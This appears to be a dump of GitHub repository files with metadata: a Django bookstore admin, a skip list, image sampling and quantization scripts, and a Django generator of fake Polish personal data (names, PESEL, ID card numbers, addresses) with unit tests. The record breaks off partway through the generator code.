genre = models.CharField(max_length=200, choices=GENRE_CHOICES)\n description = models.TextField(blank=True)\n pages = models.IntegerField()\n published = models.DateField()\n cover = models.ImageField(upload_to=\"cover_imgs\", blank=True)\n\n def __str__(self):\n return \"{} - {}\".format(self.title, self.id)\n\n def get_cat_name(self):\n\n for key in self.genre_dict:\n if (self.genre_dict[key] == self.genre):\n return key\n\n\n" }, { "alpha_fraction": 0.7405405640602112, "alphanum_fraction": 0.7405405640602112, "avg_line_length": 15.909090995788574, "blob_id": "82ba63a9717bf96abd28228217c32723500d31ab", "content_id": "ed8bfa29fc2873e9176fcff9ed15a33af62e4d4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 185, "license_type": "no_license", "max_line_length": 36, "num_lines": 11, "path": "/django/bookstore/my_bookstore/admin.py", "repo_name": "muzaffersenkal/ceng3507", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\nfrom .models import Book\n\n\n\nclass BookAdmin(admin.ModelAdmin):\n model = Book\n list_display = ['title', 'genre']\n\nadmin.site.register(Book, BookAdmin)" } ]
3
JZQT/learn
https://github.com/JZQT/learn
6db7e9d4bbdf51d77454464d75ed2ce422d6cf4d
6fc8dd3998a93bc1aad9a510df71eb5fde645960
27aadd4e6a537b7d599c068a3bbe165e23d10d0e
refs/heads/main
2023-06-02T16:14:42.217726
2021-06-27T18:29:43
2021-06-27T18:29:43
370,402,084
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5403828024864197, "alphanum_fraction": 0.5490196347236633, "avg_line_length": 30.04347801208496, "blob_id": "ae0bd7c4571229c98ea5783c4c83415493115e7d", "content_id": "8defbe258809960b4adbd7a58c34b53ab91d8a16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5508, "license_type": "no_license", "max_line_length": 89, "num_lines": 138, "path": "/learn/algorithm/skip_list.py", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "# coding: utf-8\n\"\"\"跳跃表的实现\"\"\"\nfrom __future__ import annotations\n\nfrom typing import List, Optional, Any\nfrom random import randint\n\n_MAX_LEVEL = 32 # 跳跃表最大索引指针层数\n_MAX_RANDOM_NUMBER = 2 ** (_MAX_LEVEL - 1) - 1 # 最大随机数,用于概率性分配索引指针层数\n\n\ndef random_level() -> int:\n \"\"\"随机分配跳跃表节点的索引指针层数\"\"\"\n level = 1 # 至少包含 1 层索引指针\n # 随机数 number 从低位开始每一位表示是否分配下一层索引指针\n number = randint(0, _MAX_RANDOM_NUMBER)\n while level < _MAX_LEVEL and (number & 1) == 1:\n level += 1\n number = number >> 1\n return level\n\n\nclass SkipListNode(object):\n next: List[Optional[SkipListNode]] # 指向后面节点的索引指针列表\n data: Any # 节点存储的数据\n\n def __init__(self, data):\n \"\"\"跳跃表节点初始化\"\"\"\n self.data = data\n self.next = [None for _ in range(random_level())]\n\n\nclass SkipList(object):\n \"\"\"单向跳跃表实现\"\"\"\n next: List[Optional[SkipListNode]] # 指向后面节点的索引指针列表\n\n def __init__(self):\n \"\"\"跳跃表初始化\"\"\"\n self.next = [None for _ in range(_MAX_LEVEL)]\n\n def search(self, data):\n \"\"\"根据数据值查找并返回数据\n\n 数据值没有的话返回 None,跳表包含相同数据值会返回最后一个数据。\n \"\"\"\n # 从最高层索引指针开始,往下找到第一个不大于待查找数据的节点\n level = len(self.next) - 1 # 当前要查找的索引层级\n while level > -1 and (self.next[level] is None or self.next[level].data > data):\n level -= 1\n\n # 针对空跳跃表情况下的处理,这种情况下所有索引指针都指向空\n if level < 0:\n return None\n\n curr_node = self.next[level]\n while level > -1:\n next_node = curr_node.next[level]\n if next_node is None or next_node.data > data:\n level -= 1\n continue\n curr_node = next_node\n\n return curr_node.data if curr_node.data == data else None\n\n def insert(self, data):\n \"\"\"插入数据\n\n 如果跳表包含相同数据值的话,会插入到相同数据值的最后面\n \"\"\"\n node = SkipListNode(data) # 待插入节点\n level = len(self.next) - 1 # 当前要查找的索引层级\n while level > -1 and (self.next[level] is None or self.next[level].data > data):\n # 当前 self 到 self.next[level] 属于要插入的数据节点范围\n # 如果新节点包含该层索引,那么建立新的链接\n if level < len(node.next):\n node.next[level] = self.next[level]\n self.next[level] = node\n level -= 1\n\n # 这种情况下数据已作为第一个节点插入完毕\n if level < 0:\n return\n\n curr_node = self.next[level]\n while level > -1:\n next_node = curr_node.next[level]\n if next_node is None or next_node.data > data:\n # 当前 curr_node 到 next_node 属于要插入的数据节点范围\n # 如果新节点包含该层索引,那么建立新的链接\n if level < len(node.next):\n node.next[level] = next_node\n curr_node.next[level] = node\n level -= 1\n continue\n curr_node = next_node\n\n def delete(self, data):\n \"\"\"删除数据\n\n 如果跳表包含相同数据值的话,会删除第一个相同数据值\n \"\"\"\n next_list = [] # 以栈的方式记录可能要做断开操作的索引指针列表供回溯\n\n # 从最高层索引指针开始,往下找到第一个不大于等于待查找数据的节点\n level = len(self.next) - 1 # 当前要查找的索引层级\n while level > -1 and (self.next[level] is None or self.next[level].data >= data):\n next_list.append(self.next) # 记录存储当前层链接的索引指针列表,供回溯\n level -= 1\n\n if level < 0:\n first_node = self.next[0]\n # 待删除节点是第一个数据节点\n if first_node is not None and first_node.data == data:\n self._delete_node(first_node, next_list)\n return\n\n curr_node = self.next[level]\n while level > -1:\n next_node = curr_node.next[level]\n if next_node is None or next_node.data >= data:\n next_list.append(curr_node.next) # 记录存储当前层链接的索引指针列表,供回溯\n level -= 1\n continue\n curr_node = next_node\n\n # 找到待删除的节点\n if curr_node.next[0] is not None and curr_node.next[0].data == data:\n self._delete_node(curr_node.next[0], next_list)\n\n @staticmethod\n def _delete_node(node: SkipListNode, next_list: List[List[Optional[SkipListNode]]]):\n \"\"\"删除查找到的跳跃表节点\"\"\"\n level = 0 # 从底层开始进行索引链接断开处理\n # 删除节点,并回溯断开对应层索引指针链接\n while level < len(node.next):\n curr_next = next_list.pop() # 从底层开始依次找到需要断开的链接进行处理\n curr_next[level] = node.next[level] # 断开并重建索引指针\n level += 1\n" }, { "alpha_fraction": 0.5762020945549011, "alphanum_fraction": 0.5786470770835876, "avg_line_length": 25.106382369995117, "blob_id": "98333a022a91df457656870a3aba18a6ba3f957d", "content_id": "436fcbe51bdebc93f19d9c35e5d9146cfdddcfe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 79, "num_lines": 47, "path": "/learn/image/sampling.py", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\"\"\"图像采样示例\n\n图像模拟采样测试。\n\nUsage:\n sampling.py [--ratio=<ratio>] [--method=<method>] [--gray]\n\nOptions:\n -h, --help 帮助信息\n --ratio=<ratio> 采样比率 [default: 1]\n --gray 灰度化,设置该参数会先将原图灰度化再处理\n --method=<method> 采样方法,可选的方法有:\n mean 均值采样\n max 最大值采样\n min 最小值采样\n [default: mean]\n\"\"\"\n\nfrom itertools import product\n\nfrom docopt import docopt\nfrom matplotlib import pyplot\n\nfrom learn.data import lena\nfrom learn.utils import split_to_ints, compute_rows_and_cols, sampling, graying\n\n\nif __name__ == '__main__':\n docargs = docopt(__doc__)\n ratios = split_to_ints(str(docargs['--ratio']), \",\")\n methods = str(docargs['--method']).split(\",\")\n\n source_image = lena()\n if docargs['--gray']:\n graying(source_image, replace=True)\n\n rows, cols = compute_rows_and_cols(len(ratios)*len(methods))\n\n for idx, (method, ratio) in enumerate(product(methods, ratios)):\n image = sampling(source_image, ratio)\n pyplot.subplot(rows, cols, idx+1)\n pyplot.title(f\"method={method}, ratio={ratio}\")\n pyplot.imshow(image)\n\n pyplot.show()\n" }, { "alpha_fraction": 0.5060109496116638, "alphanum_fraction": 0.5256830453872681, "avg_line_length": 22.766233444213867, "blob_id": "23eb8ca61c2a3deff58693f52506c82fbaf68893", "content_id": "1fdf21ad02d80af69e9d0279aa8e59b3d5eca4d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1962, "license_type": "no_license", "max_line_length": 88, "num_lines": 77, "path": "/learn/utils.py", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "# coding: utf-8\n\nimport math\nfrom typing import List\nfrom itertools import product\n\nimport numpy as np\n\n\ndef split_to_ints(string: str, sep: str) -> List[int]:\n \"\"\"字符串分割为整数列表\n\n 空字符串会被忽略。\n\n >>> split_to_ints(\"1,2,4,8\", \",\")\n [1, 2, 4, 8]\n >>> split_to_ints(\"1,,4\", \",\")\n [1, 4]\n >>> split_to_ints(\"\", \",\")\n []\n \"\"\"\n return [int(_) for _ in string.split(sep) if _]\n\n\ndef compute_rows_and_cols(count: int) -> (int, int):\n \"\"\"根据要显示的图数量计算应该显示的行数和列数\n\n >>> compute_rows_and_cols(1)\n (1, 1)\n >>> compute_rows_and_cols(2)\n (1, 2)\n >>> compute_rows_and_cols(4)\n (2, 2)\n >>> compute_rows_and_cols(8)\n (3, 3)\n \"\"\"\n rows = int(math.sqrt(count))\n if rows*rows >= count:\n return rows, rows\n cols = rows\n while True:\n cols += 1\n if rows*cols >= count:\n return rows, cols\n rows += 1\n if rows*cols >= count:\n return rows, cols\n\n\ndef graying(img: np.ndarray, method: str = 'mean', replace: bool = False) -> np.ndarray:\n \"\"\"灰度化图像处理\"\"\"\n shape = img.shape\n result = img\n if not replace:\n result = np.zeros(img.shape, dtype=img.dtype)\n for i, j in product(range(shape[0]), range(shape[1])):\n result[i][j] = {\n 'mean': np.mean,\n 'max': np.max,\n 'min': np.min,\n }.get(method, np.mean)(img[i][j])\n return result\n\n\ndef sampling(img: np.ndarray, ratio: int) -> np.ndarray:\n \"\"\"图像采样模拟\"\"\"\n result = np.zeros((\n int(img.shape[0]/ratio),\n int(img.shape[1]/ratio),\n img.shape[2],\n ), dtype=img.dtype)\n for i, j, k in product(*[range(_) for _ in result.shape]):\n # 获取采样图像块\n sampling_image = img[i*ratio:(i+1)*ratio, j*ratio:(j+1)*ratio]\n # 计算采样数据\n result[i][j] = sampling_image[0][0]\n return result\n" }, { "alpha_fraction": 0.6447368264198303, "alphanum_fraction": 0.6513158082962036, "avg_line_length": 15.88888931274414, "blob_id": "8f3d9b9d26fcf3eab64179136b67a7b6156c0310", "content_id": "9884946a2a7a146b392b70225e0be50d180e6dba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "no_license", "max_line_length": 49, "num_lines": 9, "path": "/learn/data.py", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "# coding: utf-8\n\nimport numpy as np\nimport skimage.io\n\n\ndef lena() -> np.ndarray:\n \"\"\"返回 lena 图\"\"\"\n return skimage.io.imread(\"resource/lena.png\")\n" }, { "alpha_fraction": 0.6635220050811768, "alphanum_fraction": 0.6698113083839417, "avg_line_length": 15.736842155456543, "blob_id": "9862dddc2dec5bbce96b8772370ae05f328e566f", "content_id": "66c23d8ff16b3fa5b848723cdc4aa2602c7e9d62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 318, "license_type": "no_license", "max_line_length": 57, "num_lines": 19, "path": "/Pipfile", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "[[source]]\nurl = \"https://pypi.org/simple\"\nverify_ssl = true\nname = \"pypi\"\n\n[scripts]\nimage-sampling = \"python -m learn.image.sampling\"\nimage-quantization = \"python -m learn.image.quantization\"\n\n[packages]\nmatplotlib = \"*\"\nscikit-image = \"*\"\ndocopt = \"*\"\nnumpy = \"*\"\n\n[dev-packages]\n\n[requires]\npython_version = \"3.8\"\n" }, { "alpha_fraction": 0.5858747959136963, "alphanum_fraction": 0.591492772102356, "avg_line_length": 25.510639190673828, "blob_id": "dce001f6b8568b225f3a45447be6f1e6cdba1609", "content_id": "f5a62c3d081ee38fd27b2a34e561189686af8e83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1378, "license_type": "no_license", "max_line_length": 62, "num_lines": 47, "path": "/learn/image/quantization.py", "repo_name": "JZQT/learn", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\"\"\"图像量化示例\n\n图像模拟量化测试。\n\nUsage:\n quantization.py [--ratio=<ratio>] [--gray]\n\nOptions:\n -h, --help 帮助信息\n --ratio=<ratio> 量化比率,想要测试多个量化比率可用 , 分割\n 比如:2,4 [default: 1]\n --gray 灰度化,设置该参数会先将原图灰度化再处理\n\"\"\"\n\nfrom itertools import product\n\nfrom docopt import docopt\nfrom matplotlib import pyplot\n\nfrom learn import data\nfrom learn import utils\nfrom learn.utils import compute_rows_and_cols, split_to_ints\n\n\nif __name__ == '__main__':\n docargs = docopt(__doc__)\n ratios = split_to_ints(str(docargs['--ratio']), \",\")\n if len(ratios) == 0:\n raise Exception(f\"错误的 ratio 参数: {docargs['--ratio']}\")\n\n images = [data.lena() for _ in range(len(ratios))]\n shape = images[0].shape\n if docargs['--gray']:\n for image in images:\n utils.graying(image, replace=True)\n\n rows, cols = compute_rows_and_cols(len(images))\n for idx, (ratio, image) in enumerate(zip(ratios, images)):\n for i, j, k in product(*[range(_) for _ in shape]):\n image[i][j][k] = int(image[i][j][k]/ratio)*ratio\n pyplot.subplot(rows, cols, idx+1)\n pyplot.title(f\"ratio={ratio}\")\n pyplot.imshow(image)\n\n pyplot.show()\n" } ]
6
ashwinhubli/P-108
https://github.com/ashwinhubli/P-108
2f48757de77bdccd1878a03b00af9712ebe06f7a
71d8b17be7ce86a3c954cb15ba425fe5de2255d3
30bab930725f9355089d2e9e40b5ceef726e43b2
refs/heads/main
2023-03-31T22:29:53.207864
2021-04-14T08:41:15
2021-04-14T08:41:15
357,834,247
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7120419144630432, "alphanum_fraction": 0.7120419144630432, "avg_line_length": 26.285715103149414, "blob_id": "ebb9a326c1c5c719596db85de52fa7b9f79d73df", "content_id": "8eadb43b7c96a3461c8066689758bc32bc7e3ca4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "no_license", "max_line_length": 83, "num_lines": 7, "path": "/project.py", "repo_name": "ashwinhubli/P-108", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport csv\nimport plotly.figure_factory as ff\n\ndf = pd.read_csv(\"data.csv\")\nfig = ff.create_distplot([df[\"Avg Rating\"].tolist()],[\"Avg Rating\"],show_hist=True)\nfig.show()\n" } ]
1
zwiktor/GeneratorDanychOsobowych
https://github.com/zwiktor/GeneratorDanychOsobowych
9d8974d17e0519e5c51a35a65bcee9a8f9450bf3
a17bd936815bb653964a439bccf73affaf88b13a
dd58d25f0c9e585f85ea5712b3f034d011e2996e
refs/heads/master
2023-03-22T10:02:50.943016
2023-03-21T14:46:33
2023-03-21T14:46:33
347,459,877
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.793005645275116, "alphanum_fraction": 0.7948960065841675, "avg_line_length": 27.567567825317383, "blob_id": "28f1ae54a1aee92d054b740309880a9568bda15e", "content_id": "fe7e1ee5cbe845725568d100e7d12454d7f5b9d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1086, "license_type": "no_license", "max_line_length": 136, "num_lines": 37, "path": "/readme.md", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "Plan for Aplication for v.1.0\n\nDane:\nImie\nNazwisko\nPłeć\nData urodzenia\nPESEL\n\n\n\nUżykownik wchodzi na stornę Główną:\n\tlosuj nowe dane:\n\tOtrzymuję info losowego użytkownika displej w tabelce:\n\tmoze pobrać dane użytkownika w csv, xml, json\n\tInformacje w jaki sposób skorzystać z API\nUżytkownik wchodzi na url API:\n\tWyświetla dane dotyczące jednego użytkownika\n\t\ngenerate Adres:\n\tpost-code, City, ulica, musza byc zgodne -> csv \n\tnumer domu/mieszkania\n\nStworzyć django projekt\nstrona startowa, strona wyswietljaca wygenerowane dane \n\naplikacja do importu danych danych z csv.\nkażda tabela importowana w osobnej funkcji\nprzed importowaniem, czyszczenie tabeli\n\nwykonanie import za pomocą komendy(wszystkie tabele naraz)\n\timport danych na widoku -> dodać tabelę przechowującą informację o importcie\nw modelach dodać tabele :\n\naddress (id, post-code, city, street, street_number, flat_number)\nrandom person (id, first_name, last_name, gender, birth_date, pesel, id_card, phone, zip-code, city, street, street_number, flat_number)\n\tróżne tryby tworzenia FakePerson\n\t" }, { "alpha_fraction": 0.6092197895050049, "alphanum_fraction": 0.6275003552436829, "avg_line_length": 32.856502532958984, "blob_id": "5387262637bfea22fc9dcf1dcad432732e7fdb4d", "content_id": "43e7c42e02d1ff63269cedf272ef2abfa05c6f7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7549, "license_type": "no_license", "max_line_length": 127, "num_lines": 223, "path": "/data_import_to_model/test_generated_data.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "import unittest\nimport _generate_data\nimport datetime\nimport string\n\n\nclass TestPhoneNumberGenerator(unittest.TestCase):\n def setUp(self) -> None:\n self.phone_number = _generate_data.generate_fake_phone_number()\n\n def test_lenght_number(self):\n phone_number_len = len(self.phone_number)\n self.assertEqual(phone_number_len, 9)\n\n def test_first_number(self):\n self.assertIn(self.phone_number[0], ['5', '6', '7', '8'])\n\n\nclass TestBirthDateGenerator(unittest.TestCase):\n def setUp(self) -> None:\n self.birth_date = _generate_data.generate_birth_date()\n\n def test_date_is_string(self):\n self.assertEqual(self.birth_date, str(self.birth_date))\n\n def test_format_birth_date(self):\n self.assertRegex(self.birth_date, '\\d\\d\\d\\d-\\d\\d-\\d\\d')\n year, month, day = self.birth_date.split('-')\n self.assertEqual(len(year), 4)\n self.assertLessEqual(len(month), 2)\n self.assertLessEqual(len(day), 2)\n\n def test_range_of_birth_date(self):\n # between 1 and 100 year\n year, month, day = self.birth_date.split('-')\n self.assertTrue(datetime.date(1900,1,1) <= datetime.date(int(year), int(month), int(day)) <= datetime.date(2020,12,31))\n\n def test_month_number(self):\n month = self.birth_date.split('-')[1]\n self.assertIn(int(month), range(1, 13))\n\n def test_day_number(self):\n day = self.birth_date.split('-')[2]\n self.assertIn(int(day), range(1, 32))\n\nclass TestGenderGenerator(unittest.TestCase):\n def setUp(self) -> None:\n self.gender = _generate_data.generate_gender()\n\n def test_gender(self):\n self.assertIn(self.gender, ['M', 'K'])\n\n\nclass TestPeselGenerator(unittest.TestCase):\n\n def setUp(self) -> None:\n self.gender = _generate_data.generate_gender()\n self.birth_date = _generate_data.generate_birth_date()\n self.pesel = _generate_data.generate_pesel(self.gender, self.birth_date)\n # self.gender = 'M'\n # self.birth_date = '2096-07-21'\n # self.pesel = '96072101471'\n\n def text_pesel_lenght(self):\n self.assertEqual(len(self.pesel), 11)\n\n def test_pesel_control_number(self):\n contorl_number = int(self.pesel[10])\n numbers_of_weight = [1,3,7,9,1,3,7,9,1,3]\n sum = 0\n for i in range(len(self.pesel[:-1])):\n tmp_number = int(self.pesel[i]) * numbers_of_weight[i]\n tmp_number = int(str(tmp_number)[-1])\n sum += tmp_number\n sum = int(str(sum)[-1]) #modulo !!!!\n if sum == 0:\n result_number = 0\n else:\n result_number = 10 - sum\n self.assertEqual(int(contorl_number), result_number)\n\n def test_birth_year_after_2000(self):\n month = self.pesel[2:4]\n year = self.birth_date[:4]\n if int(year) >= 2000:\n self.assertGreaterEqual(int(month), 20)\n else:\n self.assertLessEqual(int(month), 12)\n\n\n def test_gender_nuber(self):\n gender_number = int(self.pesel[9])\n if self.gender == 'M':\n self.assertIn(gender_number, [1,3,5,7,9])\n if self.gender == 'K':\n self.assertIn(gender_number, [2,4,6,8,0])\n\nclass TestIdCardGenerator(unittest.TestCase):\n\n def setUp(self) -> None:\n self.card = _generate_data.generate_id_card()\n\n def test_id_card_series(self):\n for letter in self.card[0:3]:\n self.assertIn(letter, string.ascii_uppercase)\n\n def test_id_card_number(self):\n for number in self.card[3:]:\n self.assertIn(number, string.digits)\n\n def test_id_card_control_number(self):\n number_of_weights = [7, 3, 1, 7, 3, 1, 7, 3]\n ascii_letter = string.ascii_uppercase\n series_converted = [ascii_letter.index(letter) + 10 for letter in self.card[0:3]]\n card_numbers = series_converted + [int(number) for number in self.card[4:]]\n control_result = 0\n for i in range(len(number_of_weights)):\n control_result += (card_numbers[i] * number_of_weights[i])\n control_number = int(self.card[3])\n modulo_results = control_result % 10\n self.assertEqual(control_number, modulo_results)\n\n\nclass TestFirstNameGenerator(unittest.TestCase):\n\n def setUp(self):\n self.gender = _generate_data.generate_gender()\n self.first_name = _generate_data.generate_first_name(self.gender)\n\n def test_name_lenght(self):\n self.assertGreater(len(self.first_name), 2, 'first name is too short')\n\n def test_whitespaces(self):\n for letter in self.first_name:\n self.assertNotIn(letter, string.whitespace, 'first name contain whitespaces')\n\n def test_digits(self):\n for letter in self.first_name:\n self.assertNotIn(letter, string.digits, 'first name contain digits')\n\n def test_name_punctation(self):\n for letter in self.first_name:\n self.assertNotIn(letter, string.punctuation, 'first name contain puntactions')\n\n def test_name_capitalize(self):\n name_capital = self.first_name.capitalize()\n self.assertEqual(self.first_name, name_capital, 'Name is not Capitalized')\n\n\nclass TestLastNameGenerator(unittest.TestCase):\n\n def setUp(self):\n self.gender = _generate_data.generate_gender()\n self.last_name = _generate_data.generate_last_name(self.gender)\n\n def test_name_lenght(self):\n self.assertGreater(len(self.last_name), 2, 'first name is too short')\n\n def test_whitespaces(self):\n for letter in self.last_name:\n self.assertNotIn(letter, string.whitespace, 'first name contain whitespaces')\n\n def test_digits(self):\n for letter in self.last_name:\n self.assertNotIn(letter, string.digits, 'first name contain digits')\n\n def test_name_punctation(self):\n for letter in self.last_name:\n self.assertNotIn(letter, string.punctuation, 'first name contain puntactions')\n\n def test_name_capitalize(self):\n name_capital = self.last_name.capitalize()\n self.assertEqual(self.last_name, name_capital, 'Name is not Capitalized')\n\nclass TestLastAdresGenerator(unittest.TestCase):\n\n def setUp(self) -> None:\n address = _generate_data.generate_address()\n self.post_code = address[0]\n self.city = address[1]\n self.street = address[2]\n self.streetNo = address[3]\n self.flat = address[4]\n\n def test_post_code_letters(self):\n for elem in self.post_code:\n self.assertNotIn(elem, string.ascii_letters)\n\n def test_post_code_format(self):\n self.assertRegex(self.post_code, '\\d\\d-\\d\\d\\d')\n\n def test_post_code_len(self):\n self.assertEqual(len(self.post_code), 6)\n\n def test_city_capitalized(self):\n text_cap = self.city.capitalize()\n self.assertEqual(self.city, text_cap)\n\n def test_city_len(self):\n self.assertLess(len(self.city), 128)\n\n def test_street_capitalized(self):\n text_cap = self.street.capitalize()\n self.assertEqual(self.street, text_cap)\n\n def test_street_len(self):\n self.assertLess(len(self.street), 128)\n\n def test_street_number(self):\n self.assertRegex(self.streetNo, '\\d')\n\n def test_flat_number(self):\n for number in self.flat:\n self.assertIn(number, string.digits)\n\n def test_flat_number_len(self):\n if self.flat:\n self.assertGreaterEqual(len(self.flat), 1)\n self.assertLessEqual(len(self.flat), 4)\n\n\nif __name__ == '__main__':\n unittest.main()" }, { "alpha_fraction": 0.6846395134925842, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 36.093021392822266, "blob_id": "2d1cf9eac6535a4a39a010ee029f588db59cbbdf", "content_id": "b23a41579f076c2627e6b4459df3c6b8496e1b6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1606, "license_type": "no_license", "max_line_length": 92, "num_lines": 43, "path": "/data_import_to_model/views.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, HttpResponse,redirect\nfrom .models import FemaleName, FemaleSurname, MaleName, MaleSurname\nfrom ._generate_data import FullNamePersonGenerator, PeselPersonGenerator\nfrom FakePersonGenerator import settings\nimport csv\n\n\n# możliwość ładowania danych wyłącznie przez admina (Sesja lub ciasteczka)\n# dodanie dwoch oddzielnych importów do danych osobowych oraz adresowych\n# możliwosć parametryzacji a przy defaulcie wartośc np. 100\n# widoki do czyszczenia bazy danych wraz z indeksami\n# Stworzenie dekoratora do zapisywania zmian ilościowych baz danych dla dodawanai i usuwania\ndef load_data(request):\n data_in_files = {\n FemaleName: 'Imiona_damskie.csv',\n FemaleSurname: 'Nazwiska_Damskie.csv',\n MaleName: 'Imiona_Meskie.csv',\n MaleSurname: 'Nazwiska_Meskie.csv'\n }\n for cls, file in data_in_files.items():\n path = settings.DATA_CSV / file\n with open(path, encoding='utf-8') as csv_file:\n csv_reader = csv.reader(csv_file)\n for i in range(5):\n name = next(csv_reader)[0]\n obj = cls.objects.create(name=name)\n obj.save()\n csv_file.close()\n\n\n return HttpResponse('ladowanie zakonczone')\n\n\ndef home(request):\n random_male = FullNamePersonGenerator(1).gender\n random_female = FullNamePersonGenerator(2).__dict__\n random_gender = PeselPersonGenerator().__dict__\n\n text_response = f'''\n {random_male} ----- {random_female}----------{random_gender}\n '''\n return HttpResponse(text_response)\n# Create your views here.\n" }, { "alpha_fraction": 0.5137457251548767, "alphanum_fraction": 0.5395188927650452, "avg_line_length": 34.272727966308594, "blob_id": "38175c57f837c355aa2f4b085fbc8bf217a7cb04", "content_id": "c3c297be10c663a3ecf3988721d78e4138c4ed4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1164, "license_type": "no_license", "max_line_length": 114, "num_lines": 33, "path": "/data_import_to_model/migrations/0002_address_importinfo.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.7 on 2023-03-16 20:48\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('data_import_to_model', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Address',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('postal_code', models.CharField(max_length=6)),\n ('city', models.CharField(max_length=256)),\n ('region', models.CharField(max_length=64)),\n ('street', models.CharField(max_length=128)),\n ],\n ),\n migrations.CreateModel(\n name='ImportInfo',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('class_name', models.CharField(max_length=64)),\n ('insert_date', models.DateTimeField()),\n ('data_size', models.PositiveIntegerField()),\n ('file', models.FilePathField()),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5999262928962708, "alphanum_fraction": 0.6201878786087036, "avg_line_length": 29.307262420654297, "blob_id": "c9a86292bafef0b99c1ac531c6c5fcf683012992", "content_id": "4945ca0715cdee162d7fa48304b20a17a2f6e89f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5439, "license_type": "no_license", "max_line_length": 121, "num_lines": 179, "path": "/data_import_to_model/_generate_data.py", "repo_name": "zwiktor/GeneratorDanychOsobowych", "src_encoding": "UTF-8", "text": "import random\nimport string\nimport datetime\nfrom FakePersonGenerator import settings\nfrom data_import_to_model.models import *\nfrom abc import ABC, abstractmethod\n\nimport csv\n\n\nclass BasicPersonGenerator(ABC):\n @abstractmethod\n def __init__(self, gender=0):\n self.gender = generate_gender(gender)\n\n @abstractmethod\n def jsonify(self):\n pass\n\n @abstractmethod\n def xmlify(self):\n pass\n\n\nclass FullNamePersonGenerator(BasicPersonGenerator):\n def __init__(self, gender=0):\n super().__init__(gender)\n self.first_name = generate_first_name(self.gender)\n self.last_name = generate_last_name(self.gender)\n\n def jsonify(self):\n pass\n\n def xmlify(self):\n pass\n\n\nclass PeselPersonGenerator(FullNamePersonGenerator):\n def __init__(self, gender=0):\n super().__init__(gender)\n self.birth_date = generate_birth_date()\n self.pesel = generate_pesel(self.gender, self.birth_date)\n\n\nclass FullPersonGenerator(PeselPersonGenerator):\n def __init__(self, gender=0):\n super().__init__(gender)\n self.id_card = generate_id_card()\n self.phone_number = generate_fake_phone_number()\n self.address = generate_address() #baza danych\n\n\nclass FakePersonGenerator():\n def __init__(self):\n self.gender = generate_gender()\n self.first_name = generate_first_name(self.gender)#baza danych\n self.last_name = generate_last_name(self.gender)#baza danych\n self.birth_date = generate_birth_date()\n self.pesel = generate_pesel(self.gender, self.birth_date)\n self.id_card = generate_id_card()\n self.address = generate_address() #baza danych\n self.phone_number = generate_fake_phone_number()\n # Dodanie kilku konfiguracji tworzenia danych\n\n\n\n# TO DO convert to class\ndef generate_fake_phone_number():\n number = ''\n first_number = random.choice([5, 6, 7, 8])\n number += str(first_number)\n for i in range(8):\n number += str(random.randint(1, 9))\n return number\n\n\n# TO DO convert to class input\ndef generate_birth_date():\n _min_date = datetime.date(1930,1,1)\n _max_date = datetime.date(2008,12,31)\n _min_date_ordinar = datetime.date(1920,1,1).toordinal()\n _max_date_ordinar = datetime.date(2008,12,31).toordinal()\n date_range = _max_date_ordinar - _min_date_ordinar\n random_date_ordinar = _min_date_ordinar + random.randint(1, date_range)\n random_date = datetime.date.fromordinal(random_date_ordinar)\n\n return str(random_date)\n\n\ndef generate_gender(gender):\n if gender == 1:\n return 'M'\n elif gender == 2:\n return 'K'\n elif gender == 0:\n return random.choice(['M', 'K'])\n else:\n raise Exception('It can be 1=Male or 2=Female or 0=random gender')\n\n\ndef generate_pesel(gender, birth_date):\n pesel = ''\n year, month, day = birth_date.split('-')\n pesel += year[-2:]\n if year[0] == '2':\n pesel += str(int(month) + 20)\n else:\n pesel += month\n pesel += day\n for i in range(3):\n pesel += str(random.randint(0, 9))\n if gender == 'K':\n pesel += str(random.choice([0, 2, 4, 6, 8]))\n if gender == 'M':\n pesel += str(random.choice([1, 3, 5, 7, 9]))\n\n numbers_of_weight = [1, 3, 7, 9, 